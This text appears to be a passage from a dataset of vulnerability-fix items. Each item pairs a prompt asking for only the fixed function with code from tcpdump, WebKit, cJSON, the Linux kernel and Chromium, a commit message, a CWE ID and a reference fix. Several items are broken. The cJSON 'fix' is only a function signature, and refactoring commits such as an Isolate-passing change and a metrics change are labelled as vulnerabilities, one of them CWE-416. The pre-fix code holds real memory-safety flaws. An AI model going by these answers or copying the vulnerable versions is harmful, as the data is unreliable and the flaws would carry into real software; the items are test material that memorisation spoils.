LLDP_PRIVATE_8023_SUBTYPE_MTU: ND_PRINT((ndo, "\n\t MTU size %u", EXTRACT_16BITS(tptr + 4))); break; default: hexdump = TRUE; break; } return hexdump; } Commit Message: CVE-2017-13054/LLDP: add a missing length check In lldp_private_8023_print() the case block for subtype 4 (Maximum Frame Size TLV, IEEE 802.3bc-2009 Section 79.3.4) did not include the length check and could over-read the input buffer, put it right. This fixes a buffer over-read discovered by Bhargava Shastry, SecT/TU Berlin. Add a test using the capture file supplied by the reporter(s). CWE ID: CWE-125
lldp_private_8023_print(netdissect_options *ndo, const u_char *tptr, u_int tlv_len) { int subtype, hexdump = FALSE; if (tlv_len < 4) { return hexdump; } subtype = *(tptr+3); ND_PRINT((ndo, "\n\t %s Subtype (%u)", tok2str(lldp_8023_subtype_values, "unknown", subtype), subtype)); switch (subtype) { case LLDP_PRIVATE_8023_SUBTYPE_MACPHY: if (tlv_len < 9) { return hexdump; } ND_PRINT((ndo, "\n\t autonegotiation [%s] (0x%02x)", bittok2str(lldp_8023_autonegotiation_values, "none", *(tptr+4)), *(tptr + 4))); ND_PRINT((ndo, "\n\t PMD autoneg capability [%s] (0x%04x)", bittok2str(lldp_pmd_capability_values,"unknown", EXTRACT_16BITS(tptr+5)), EXTRACT_16BITS(tptr + 5))); ND_PRINT((ndo, "\n\t MAU type %s (0x%04x)", tok2str(lldp_mau_types_values, "unknown", EXTRACT_16BITS(tptr+7)), EXTRACT_16BITS(tptr + 7))); break; case LLDP_PRIVATE_8023_SUBTYPE_MDIPOWER: if (tlv_len < 7) { return hexdump; } ND_PRINT((ndo, "\n\t MDI power support [%s], power pair %s, power class %s", bittok2str(lldp_mdi_values, "none", *(tptr+4)), tok2str(lldp_mdi_power_pairs_values, "unknown", *(tptr+5)), tok2str(lldp_mdi_power_class_values, "unknown", *(tptr + 6)))); break; case LLDP_PRIVATE_8023_SUBTYPE_LINKAGGR: if (tlv_len < 9) { return hexdump; } ND_PRINT((ndo, "\n\t aggregation status [%s], aggregation port ID %u", bittok2str(lldp_aggregation_values, "none", *(tptr+4)), EXTRACT_32BITS(tptr + 5))); break; case LLDP_PRIVATE_8023_SUBTYPE_MTU: if (tlv_len < 6) { return hexdump; } ND_PRINT((ndo, "\n\t MTU size %u", EXTRACT_16BITS(tptr + 4))); break; default: hexdump = TRUE; break; } return hexdump; }
167,819
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static v8::Handle<v8::Value> methodWithCallbackArgCallback(const v8::Arguments& args) { INC_STATS("DOM.TestObj.methodWithCallbackArg"); if (args.Length() < 1) return V8Proxy::throwNotEnoughArgumentsError(); TestObj* imp = V8TestObj::toNative(args.Holder()); if (args.Length() <= 0 || !args[0]->IsFunction()) return throwError(TYPE_MISMATCH_ERR, args.GetIsolate()); RefPtr<TestCallback> callback = V8TestCallback::create(args[0], getScriptExecutionContext()); imp->methodWithCallbackArg(callback); return v8::Handle<v8::Value>(); } Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=86983 Reviewed by Adam Barth. The objective is to pass Isolate around in V8 bindings. This patch passes Isolate to throwNotEnoughArgumentsError(). No tests. No change in behavior. * bindings/scripts/CodeGeneratorV8.pm: (GenerateArgumentsCountCheck): (GenerateEventConstructorCallback): * bindings/scripts/test/V8/V8Float64Array.cpp: (WebCore::Float64ArrayV8Internal::fooCallback): * bindings/scripts/test/V8/V8TestActiveDOMObject.cpp: (WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback): (WebCore::TestActiveDOMObjectV8Internal::postMessageCallback): * bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp: (WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback): * bindings/scripts/test/V8/V8TestEventConstructor.cpp: (WebCore::V8TestEventConstructor::constructorCallback): * bindings/scripts/test/V8/V8TestEventTarget.cpp: (WebCore::TestEventTargetV8Internal::itemCallback): (WebCore::TestEventTargetV8Internal::dispatchEventCallback): * bindings/scripts/test/V8/V8TestInterface.cpp: (WebCore::TestInterfaceV8Internal::supplementalMethod2Callback): (WebCore::V8TestInterface::constructorCallback): * bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp: (WebCore::TestMediaQueryListListenerV8Internal::methodCallback): * bindings/scripts/test/V8/V8TestNamedConstructor.cpp: (WebCore::V8TestNamedConstructorConstructorCallback): * bindings/scripts/test/V8/V8TestObj.cpp: (WebCore::TestObjV8Internal::voidMethodWithArgsCallback): (WebCore::TestObjV8Internal::intMethodWithArgsCallback): (WebCore::TestObjV8Internal::objMethodWithArgsCallback): (WebCore::TestObjV8Internal::methodWithSequenceArgCallback): (WebCore::TestObjV8Internal::methodReturningSequenceCallback): (WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback): (WebCore::TestObjV8Internal::serializedValueCallback): (WebCore::TestObjV8Internal::idbKeyCallback): (WebCore::TestObjV8Internal::optionsObjectCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback): (WebCore::TestObjV8Internal::methodWithCallbackArgCallback): (WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback): (WebCore::TestObjV8Internal::overloadedMethod1Callback): (WebCore::TestObjV8Internal::overloadedMethod2Callback): (WebCore::TestObjV8Internal::overloadedMethod3Callback): (WebCore::TestObjV8Internal::overloadedMethod4Callback): (WebCore::TestObjV8Internal::overloadedMethod5Callback): (WebCore::TestObjV8Internal::overloadedMethod6Callback): (WebCore::TestObjV8Internal::overloadedMethod7Callback): (WebCore::TestObjV8Internal::overloadedMethod11Callback): (WebCore::TestObjV8Internal::overloadedMethod12Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback): (WebCore::TestObjV8Internal::convert1Callback): (WebCore::TestObjV8Internal::convert2Callback): (WebCore::TestObjV8Internal::convert3Callback): (WebCore::TestObjV8Internal::convert4Callback): (WebCore::TestObjV8Internal::convert5Callback): (WebCore::TestObjV8Internal::strictFunctionCallback): (WebCore::V8TestObj::constructorCallback): * bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp: (WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback): (WebCore::V8TestSerializedScriptValueInterface::constructorCallback): * bindings/v8/ScriptController.cpp: (WebCore::setValueAndClosePopupCallback): * bindings/v8/V8Proxy.cpp: (WebCore::V8Proxy::throwNotEnoughArgumentsError): * bindings/v8/V8Proxy.h: (V8Proxy): * bindings/v8/custom/V8AudioContextCustom.cpp: (WebCore::V8AudioContext::constructorCallback): * bindings/v8/custom/V8DataViewCustom.cpp: (WebCore::V8DataView::getInt8Callback): (WebCore::V8DataView::getUint8Callback): (WebCore::V8DataView::setInt8Callback): (WebCore::V8DataView::setUint8Callback): * bindings/v8/custom/V8DirectoryEntryCustom.cpp: (WebCore::V8DirectoryEntry::getDirectoryCallback): (WebCore::V8DirectoryEntry::getFileCallback): * bindings/v8/custom/V8IntentConstructor.cpp: (WebCore::V8Intent::constructorCallback): * bindings/v8/custom/V8SVGLengthCustom.cpp: (WebCore::V8SVGLength::convertToSpecifiedUnitsCallback): * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp: (WebCore::getObjectParameter): (WebCore::V8WebGLRenderingContext::getAttachedShadersCallback): (WebCore::V8WebGLRenderingContext::getExtensionCallback): (WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback): (WebCore::V8WebGLRenderingContext::getParameterCallback): (WebCore::V8WebGLRenderingContext::getProgramParameterCallback): (WebCore::V8WebGLRenderingContext::getShaderParameterCallback): (WebCore::V8WebGLRenderingContext::getUniformCallback): (WebCore::vertexAttribAndUniformHelperf): (WebCore::uniformHelperi): (WebCore::uniformMatrixHelper): * bindings/v8/custom/V8WebKitMutationObserverCustom.cpp: (WebCore::V8WebKitMutationObserver::constructorCallback): (WebCore::V8WebKitMutationObserver::observeCallback): * bindings/v8/custom/V8WebSocketCustom.cpp: (WebCore::V8WebSocket::constructorCallback): (WebCore::V8WebSocket::sendCallback): * bindings/v8/custom/V8XMLHttpRequestCustom.cpp: (WebCore::V8XMLHttpRequest::openCallback): git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID:
static v8::Handle<v8::Value> methodWithCallbackArgCallback(const v8::Arguments& args) { INC_STATS("DOM.TestObj.methodWithCallbackArg"); if (args.Length() < 1) return V8Proxy::throwNotEnoughArgumentsError(args.GetIsolate()); TestObj* imp = V8TestObj::toNative(args.Holder()); if (args.Length() <= 0 || !args[0]->IsFunction()) return throwError(TYPE_MISMATCH_ERR, args.GetIsolate()); RefPtr<TestCallback> callback = V8TestCallback::create(args[0], getScriptExecutionContext()); imp->methodWithCallbackArg(callback); return v8::Handle<v8::Value>(); }
171,088
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: cJSON *cJSON_DetachItemFromArray( cJSON *array, int which ) { cJSON *c = array->child; while ( c && which > 0 ) { c = c->next; --which; } if ( ! c ) return 0; if ( c->prev ) c->prev->next = c->next; if ( c->next ) c->next->prev = c->prev; if ( c == array->child ) array->child = c->next; c->prev = c->next = 0; return c; } Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <[email protected]> CWE ID: CWE-119
cJSON *cJSON_DetachItemFromArray( cJSON *array, int which )
167,284
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, struct sctp_association *assoc, sctp_socket_type_t type) { struct sctp_sock *oldsp = sctp_sk(oldsk); struct sctp_sock *newsp = sctp_sk(newsk); struct sctp_bind_bucket *pp; /* hash list port iterator */ struct sctp_endpoint *newep = newsp->ep; struct sk_buff *skb, *tmp; struct sctp_ulpevent *event; int flags = 0; /* Migrate socket buffer sizes and all the socket level options to the * new socket. */ newsk->sk_sndbuf = oldsk->sk_sndbuf; newsk->sk_rcvbuf = oldsk->sk_rcvbuf; /* Brute force copy old sctp opt. */ inet_sk_copy_descendant(newsk, oldsk); /* Restore the ep value that was overwritten with the above structure * copy. */ newsp->ep = newep; newsp->hmac = NULL; /* Hook this new socket in to the bind_hash list. */ pp = sctp_sk(oldsk)->bind_hash; sk_add_bind_node(newsk, &pp->owner); sctp_sk(newsk)->bind_hash = pp; inet_sk(newsk)->num = inet_sk(oldsk)->num; /* Copy the bind_addr list from the original endpoint to the new * endpoint so that we can handle restarts properly */ if (PF_INET6 == assoc->base.sk->sk_family) flags = SCTP_ADDR6_ALLOWED; if (assoc->peer.ipv4_address) flags |= SCTP_ADDR4_PEERSUPP; if (assoc->peer.ipv6_address) flags |= SCTP_ADDR6_PEERSUPP; sctp_bind_addr_copy(&newsp->ep->base.bind_addr, &oldsp->ep->base.bind_addr, SCTP_SCOPE_GLOBAL, GFP_KERNEL, flags); /* Move any messages in the old socket's receive queue that are for the * peeled off association to the new socket's receive queue. */ sctp_skb_for_each(skb, &oldsk->sk_receive_queue, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { sctp_sock_rfree(skb); __skb_unlink(skb, &oldsk->sk_receive_queue); __skb_queue_tail(&newsk->sk_receive_queue, skb); sctp_skb_set_owner_r(skb, newsk); } } /* Clean up any messages pending delivery due to partial * delivery. Three cases: * 1) No partial deliver; no work. * 2) Peeling off partial delivery; keep pd_lobby in new pd_lobby. * 3) Peeling off non-partial delivery; move pd_lobby to receive_queue. */ skb_queue_head_init(&newsp->pd_lobby); sctp_sk(newsk)->pd_mode = assoc->ulpq.pd_mode; if (sctp_sk(oldsk)->pd_mode) { struct sk_buff_head *queue; /* Decide which queue to move pd_lobby skbs to. */ if (assoc->ulpq.pd_mode) { queue = &newsp->pd_lobby; } else queue = &newsk->sk_receive_queue; /* Walk through the pd_lobby, looking for skbs that * need moved to the new socket. */ sctp_skb_for_each(skb, &oldsp->pd_lobby, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { sctp_sock_rfree(skb); __skb_unlink(skb, &oldsp->pd_lobby); __skb_queue_tail(queue, skb); sctp_skb_set_owner_r(skb, newsk); } } /* Clear up any skbs waiting for the partial * delivery to finish. */ if (assoc->ulpq.pd_mode) sctp_clear_pd(oldsk); } /* Set the type of socket to indicate that it is peeled off from the * original UDP-style socket or created with the accept() call on a * TCP-style socket.. */ newsp->type = type; /* Mark the new socket "in-use" by the user so that any packets * that may arrive on the association after we've moved it are * queued to the backlog. This prevents a potential race between * backlog processing on the old socket and new-packet processing * on the new socket. */ sctp_lock_sock(newsk); sctp_assoc_migrate(assoc, newsk); /* If the association on the newsk is already closed before accept() * is called, set RCV_SHUTDOWN flag. */ if (sctp_state(assoc, CLOSED) && sctp_style(newsk, TCP)) newsk->sk_shutdown |= RCV_SHUTDOWN; newsk->sk_state = SCTP_SS_ESTABLISHED; sctp_release_sock(newsk); } Commit Message: [SCTP]: Fix assertion (!atomic_read(&sk->sk_rmem_alloc)) failed message In current implementation, LKSCTP does receive buffer accounting for data in sctp_receive_queue and pd_lobby. However, LKSCTP don't do accounting for data in frag_list when data is fragmented. In addition, LKSCTP doesn't do accounting for data in reasm and lobby queue in structure sctp_ulpq. When there are date in these queue, assertion failed message is printed in inet_sock_destruct because sk_rmem_alloc of oldsk does not become 0 when socket is destroyed. Signed-off-by: Tsutomu Fujii <[email protected]> Signed-off-by: Vlad Yasevich <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID:
static void sctp_sock_migrate(struct sock *oldsk, struct sock *newsk, struct sctp_association *assoc, sctp_socket_type_t type) { struct sctp_sock *oldsp = sctp_sk(oldsk); struct sctp_sock *newsp = sctp_sk(newsk); struct sctp_bind_bucket *pp; /* hash list port iterator */ struct sctp_endpoint *newep = newsp->ep; struct sk_buff *skb, *tmp; struct sctp_ulpevent *event; int flags = 0; /* Migrate socket buffer sizes and all the socket level options to the * new socket. */ newsk->sk_sndbuf = oldsk->sk_sndbuf; newsk->sk_rcvbuf = oldsk->sk_rcvbuf; /* Brute force copy old sctp opt. */ inet_sk_copy_descendant(newsk, oldsk); /* Restore the ep value that was overwritten with the above structure * copy. */ newsp->ep = newep; newsp->hmac = NULL; /* Hook this new socket in to the bind_hash list. */ pp = sctp_sk(oldsk)->bind_hash; sk_add_bind_node(newsk, &pp->owner); sctp_sk(newsk)->bind_hash = pp; inet_sk(newsk)->num = inet_sk(oldsk)->num; /* Copy the bind_addr list from the original endpoint to the new * endpoint so that we can handle restarts properly */ if (PF_INET6 == assoc->base.sk->sk_family) flags = SCTP_ADDR6_ALLOWED; if (assoc->peer.ipv4_address) flags |= SCTP_ADDR4_PEERSUPP; if (assoc->peer.ipv6_address) flags |= SCTP_ADDR6_PEERSUPP; sctp_bind_addr_copy(&newsp->ep->base.bind_addr, &oldsp->ep->base.bind_addr, SCTP_SCOPE_GLOBAL, GFP_KERNEL, flags); /* Move any messages in the old socket's receive queue that are for the * peeled off association to the new socket's receive queue. */ sctp_skb_for_each(skb, &oldsk->sk_receive_queue, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { sctp_sock_rfree_frag(skb); __skb_unlink(skb, &oldsk->sk_receive_queue); __skb_queue_tail(&newsk->sk_receive_queue, skb); sctp_skb_set_owner_r_frag(skb, newsk); } } /* Clean up any messages pending delivery due to partial * delivery. Three cases: * 1) No partial deliver; no work. * 2) Peeling off partial delivery; keep pd_lobby in new pd_lobby. * 3) Peeling off non-partial delivery; move pd_lobby to receive_queue. */ skb_queue_head_init(&newsp->pd_lobby); sctp_sk(newsk)->pd_mode = assoc->ulpq.pd_mode; if (sctp_sk(oldsk)->pd_mode) { struct sk_buff_head *queue; /* Decide which queue to move pd_lobby skbs to. */ if (assoc->ulpq.pd_mode) { queue = &newsp->pd_lobby; } else queue = &newsk->sk_receive_queue; /* Walk through the pd_lobby, looking for skbs that * need moved to the new socket. */ sctp_skb_for_each(skb, &oldsp->pd_lobby, tmp) { event = sctp_skb2event(skb); if (event->asoc == assoc) { sctp_sock_rfree_frag(skb); __skb_unlink(skb, &oldsp->pd_lobby); __skb_queue_tail(queue, skb); sctp_skb_set_owner_r_frag(skb, newsk); } } /* Clear up any skbs waiting for the partial * delivery to finish. */ if (assoc->ulpq.pd_mode) sctp_clear_pd(oldsk); } sctp_skb_for_each(skb, &assoc->ulpq.reasm, tmp) { sctp_sock_rfree_frag(skb); sctp_skb_set_owner_r_frag(skb, newsk); } sctp_skb_for_each(skb, &assoc->ulpq.lobby, tmp) { sctp_sock_rfree_frag(skb); sctp_skb_set_owner_r_frag(skb, newsk); } /* Set the type of socket to indicate that it is peeled off from the * original UDP-style socket or created with the accept() call on a * TCP-style socket.. */ newsp->type = type; /* Mark the new socket "in-use" by the user so that any packets * that may arrive on the association after we've moved it are * queued to the backlog. This prevents a potential race between * backlog processing on the old socket and new-packet processing * on the new socket. */ sctp_lock_sock(newsk); sctp_assoc_migrate(assoc, newsk); /* If the association on the newsk is already closed before accept() * is called, set RCV_SHUTDOWN flag. */ if (sctp_state(assoc, CLOSED) && sctp_style(newsk, TCP)) newsk->sk_shutdown |= RCV_SHUTDOWN; newsk->sk_state = SCTP_SS_ESTABLISHED; sctp_release_sock(newsk); }
166,224
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static v8::Handle<v8::Value> dispatchEventCallback(const v8::Arguments& args) { INC_STATS("DOM.TestEventTarget.dispatchEvent"); if (args.Length() < 1) return V8Proxy::throwNotEnoughArgumentsError(); TestEventTarget* imp = V8TestEventTarget::toNative(args.Holder()); ExceptionCode ec = 0; { EXCEPTION_BLOCK(Event*, evt, V8Event::HasInstance(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined)) ? V8Event::toNative(v8::Handle<v8::Object>::Cast(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined))) : 0); bool result = imp->dispatchEvent(evt, ec); if (UNLIKELY(ec)) goto fail; return v8Boolean(result); } fail: V8Proxy::setDOMException(ec, args.GetIsolate()); return v8::Handle<v8::Value>(); } Commit Message: [V8] Pass Isolate to throwNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=86983 Reviewed by Adam Barth. The objective is to pass Isolate around in V8 bindings. This patch passes Isolate to throwNotEnoughArgumentsError(). No tests. No change in behavior. * bindings/scripts/CodeGeneratorV8.pm: (GenerateArgumentsCountCheck): (GenerateEventConstructorCallback): * bindings/scripts/test/V8/V8Float64Array.cpp: (WebCore::Float64ArrayV8Internal::fooCallback): * bindings/scripts/test/V8/V8TestActiveDOMObject.cpp: (WebCore::TestActiveDOMObjectV8Internal::excitingFunctionCallback): (WebCore::TestActiveDOMObjectV8Internal::postMessageCallback): * bindings/scripts/test/V8/V8TestCustomNamedGetter.cpp: (WebCore::TestCustomNamedGetterV8Internal::anotherFunctionCallback): * bindings/scripts/test/V8/V8TestEventConstructor.cpp: (WebCore::V8TestEventConstructor::constructorCallback): * bindings/scripts/test/V8/V8TestEventTarget.cpp: (WebCore::TestEventTargetV8Internal::itemCallback): (WebCore::TestEventTargetV8Internal::dispatchEventCallback): * bindings/scripts/test/V8/V8TestInterface.cpp: (WebCore::TestInterfaceV8Internal::supplementalMethod2Callback): (WebCore::V8TestInterface::constructorCallback): * bindings/scripts/test/V8/V8TestMediaQueryListListener.cpp: (WebCore::TestMediaQueryListListenerV8Internal::methodCallback): * bindings/scripts/test/V8/V8TestNamedConstructor.cpp: (WebCore::V8TestNamedConstructorConstructorCallback): * bindings/scripts/test/V8/V8TestObj.cpp: (WebCore::TestObjV8Internal::voidMethodWithArgsCallback): (WebCore::TestObjV8Internal::intMethodWithArgsCallback): (WebCore::TestObjV8Internal::objMethodWithArgsCallback): (WebCore::TestObjV8Internal::methodWithSequenceArgCallback): (WebCore::TestObjV8Internal::methodReturningSequenceCallback): (WebCore::TestObjV8Internal::methodThatRequiresAllArgsAndThrowsCallback): (WebCore::TestObjV8Internal::serializedValueCallback): (WebCore::TestObjV8Internal::idbKeyCallback): (WebCore::TestObjV8Internal::optionsObjectCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndOptionalArgCallback): (WebCore::TestObjV8Internal::methodWithNonOptionalArgAndTwoOptionalArgsCallback): (WebCore::TestObjV8Internal::methodWithCallbackArgCallback): (WebCore::TestObjV8Internal::methodWithNonCallbackArgAndCallbackArgCallback): (WebCore::TestObjV8Internal::overloadedMethod1Callback): (WebCore::TestObjV8Internal::overloadedMethod2Callback): (WebCore::TestObjV8Internal::overloadedMethod3Callback): (WebCore::TestObjV8Internal::overloadedMethod4Callback): (WebCore::TestObjV8Internal::overloadedMethod5Callback): (WebCore::TestObjV8Internal::overloadedMethod6Callback): (WebCore::TestObjV8Internal::overloadedMethod7Callback): (WebCore::TestObjV8Internal::overloadedMethod11Callback): (WebCore::TestObjV8Internal::overloadedMethod12Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod1Callback): (WebCore::TestObjV8Internal::enabledAtRuntimeMethod2Callback): (WebCore::TestObjV8Internal::convert1Callback): (WebCore::TestObjV8Internal::convert2Callback): (WebCore::TestObjV8Internal::convert3Callback): (WebCore::TestObjV8Internal::convert4Callback): (WebCore::TestObjV8Internal::convert5Callback): (WebCore::TestObjV8Internal::strictFunctionCallback): (WebCore::V8TestObj::constructorCallback): * bindings/scripts/test/V8/V8TestSerializedScriptValueInterface.cpp: (WebCore::TestSerializedScriptValueInterfaceV8Internal::acceptTransferListCallback): (WebCore::V8TestSerializedScriptValueInterface::constructorCallback): * bindings/v8/ScriptController.cpp: (WebCore::setValueAndClosePopupCallback): * bindings/v8/V8Proxy.cpp: (WebCore::V8Proxy::throwNotEnoughArgumentsError): * bindings/v8/V8Proxy.h: (V8Proxy): * bindings/v8/custom/V8AudioContextCustom.cpp: (WebCore::V8AudioContext::constructorCallback): * bindings/v8/custom/V8DataViewCustom.cpp: (WebCore::V8DataView::getInt8Callback): (WebCore::V8DataView::getUint8Callback): (WebCore::V8DataView::setInt8Callback): (WebCore::V8DataView::setUint8Callback): * bindings/v8/custom/V8DirectoryEntryCustom.cpp: (WebCore::V8DirectoryEntry::getDirectoryCallback): (WebCore::V8DirectoryEntry::getFileCallback): * bindings/v8/custom/V8IntentConstructor.cpp: (WebCore::V8Intent::constructorCallback): * bindings/v8/custom/V8SVGLengthCustom.cpp: (WebCore::V8SVGLength::convertToSpecifiedUnitsCallback): * bindings/v8/custom/V8WebGLRenderingContextCustom.cpp: (WebCore::getObjectParameter): (WebCore::V8WebGLRenderingContext::getAttachedShadersCallback): (WebCore::V8WebGLRenderingContext::getExtensionCallback): (WebCore::V8WebGLRenderingContext::getFramebufferAttachmentParameterCallback): (WebCore::V8WebGLRenderingContext::getParameterCallback): (WebCore::V8WebGLRenderingContext::getProgramParameterCallback): (WebCore::V8WebGLRenderingContext::getShaderParameterCallback): (WebCore::V8WebGLRenderingContext::getUniformCallback): (WebCore::vertexAttribAndUniformHelperf): (WebCore::uniformHelperi): (WebCore::uniformMatrixHelper): * bindings/v8/custom/V8WebKitMutationObserverCustom.cpp: (WebCore::V8WebKitMutationObserver::constructorCallback): (WebCore::V8WebKitMutationObserver::observeCallback): * bindings/v8/custom/V8WebSocketCustom.cpp: (WebCore::V8WebSocket::constructorCallback): (WebCore::V8WebSocket::sendCallback): * bindings/v8/custom/V8XMLHttpRequestCustom.cpp: (WebCore::V8XMLHttpRequest::openCallback): git-svn-id: svn://svn.chromium.org/blink/trunk@117736 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID:
static v8::Handle<v8::Value> dispatchEventCallback(const v8::Arguments& args) { INC_STATS("DOM.TestEventTarget.dispatchEvent"); if (args.Length() < 1) return V8Proxy::throwNotEnoughArgumentsError(args.GetIsolate()); TestEventTarget* imp = V8TestEventTarget::toNative(args.Holder()); ExceptionCode ec = 0; { EXCEPTION_BLOCK(Event*, evt, V8Event::HasInstance(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined)) ? V8Event::toNative(v8::Handle<v8::Object>::Cast(MAYBE_MISSING_PARAMETER(args, 0, DefaultIsUndefined))) : 0); bool result = imp->dispatchEvent(evt, ec); if (UNLIKELY(ec)) goto fail; return v8Boolean(result); } fail: V8Proxy::setDOMException(ec, args.GetIsolate()); return v8::Handle<v8::Value>(); }
171,070
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: void CapturerMac::CaptureInvalidRects(CaptureCompletedCallback* callback) { scoped_refptr<CaptureData> data; if (capturing_) { InvalidRects rects; helper_.SwapInvalidRects(rects); VideoFrameBuffer& current_buffer = buffers_[current_buffer_]; current_buffer.Update(); bool flip = true; // GL capturers need flipping. if (cgl_context_) { if (pixel_buffer_object_.get() != 0) { GlBlitFast(current_buffer); } else { GlBlitSlow(current_buffer); } } else { CgBlit(current_buffer, rects); flip = false; } DataPlanes planes; planes.data[0] = current_buffer.ptr(); planes.strides[0] = current_buffer.bytes_per_row(); if (flip) { planes.strides[0] = -planes.strides[0]; planes.data[0] += (current_buffer.size().height() - 1) * current_buffer.bytes_per_row(); } data = new CaptureData(planes, gfx::Size(current_buffer.size()), pixel_format()); data->mutable_dirty_rects() = rects; current_buffer_ = (current_buffer_ + 1) % kNumBuffers; helper_.set_size_most_recent(data->size()); } callback->Run(data); delete callback; } Commit Message: Workaround for bad driver issue with NVIDIA GeForce 7300 GT on Mac 10.5. BUG=87283 TEST=Run on a machine with NVIDIA GeForce 7300 GT on Mac 10.5 immediately after booting. Review URL: http://codereview.chromium.org/7373018 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@92651 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399
void CapturerMac::CaptureInvalidRects(CaptureCompletedCallback* callback) { scoped_refptr<CaptureData> data; if (capturing_) { InvalidRects rects; helper_.SwapInvalidRects(rects); VideoFrameBuffer& current_buffer = buffers_[current_buffer_]; current_buffer.Update(); bool flip = true; // GL capturers need flipping. if (cgl_context_) { if (pixel_buffer_object_.get() != 0) { GlBlitFast(current_buffer); } else { // See comment in scoped_pixel_buffer_object::Init about why the slow // path is always used on 10.5. GlBlitSlow(current_buffer); } } else { CgBlit(current_buffer, rects); flip = false; } DataPlanes planes; planes.data[0] = current_buffer.ptr(); planes.strides[0] = current_buffer.bytes_per_row(); if (flip) { planes.strides[0] = -planes.strides[0]; planes.data[0] += (current_buffer.size().height() - 1) * current_buffer.bytes_per_row(); } data = new CaptureData(planes, gfx::Size(current_buffer.size()), pixel_format()); data->mutable_dirty_rects() = rects; current_buffer_ = (current_buffer_ + 1) % kNumBuffers; helper_.set_size_most_recent(data->size()); } callback->Run(data); delete callback; }
170,316
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: int64 GetOriginalListPrefValue(size_t index) { return ListPrefInt64Value(*original_update_, index); } Commit Message: Added daily UMA for non-data-reduction-proxy data usage when the proxy is enabled. BUG=325325 Review URL: https://codereview.chromium.org/106113002 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@239897 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-416
int64 GetOriginalListPrefValue(size_t index) { return original_.GetListPrefValue(index); }
171,323
Analyze the following vulnerable code snippet, the commit message, and the CWE ID. Determine the impact category of this vulnerability. Output the fixed function only. Remember, I want response with just the fixed code only, No explanation.
Code: static struct fsnotify_group *inotify_new_group(struct user_struct *user, unsigned int max_events) { struct fsnotify_group *group; group = fsnotify_alloc_group(&inotify_fsnotify_ops); if (IS_ERR(group)) return group; group->max_events = max_events; spin_lock_init(&group->inotify_data.idr_lock); idr_init(&group->inotify_data.idr); group->inotify_data.last_wd = 0; group->inotify_data.user = user; group->inotify_data.fa = NULL; return group; } Commit Message: inotify: fix double free/corruption of stuct user On an error path in inotify_init1 a normal user can trigger a double free of struct user. This is a regression introduced by a2ae4cc9a16e ("inotify: stop kernel memory leak on file creation failure"). We fix this by making sure that if a group exists the user reference is dropped when the group is cleaned up. We should not explictly drop the reference on error and also drop the reference when the group is cleaned up. The new lifetime rules are that an inotify group lives from inotify_new_group to the last fsnotify_put_group. Since the struct user and inotify_devs are directly tied to this lifetime they are only changed/updated in those two locations. We get rid of all special casing of struct user or user->inotify_devs. Signed-off-by: Eric Paris <[email protected]> Cc: [email protected] (2.6.37 and up) Signed-off-by: Linus Torvalds <[email protected]> CWE ID: CWE-399
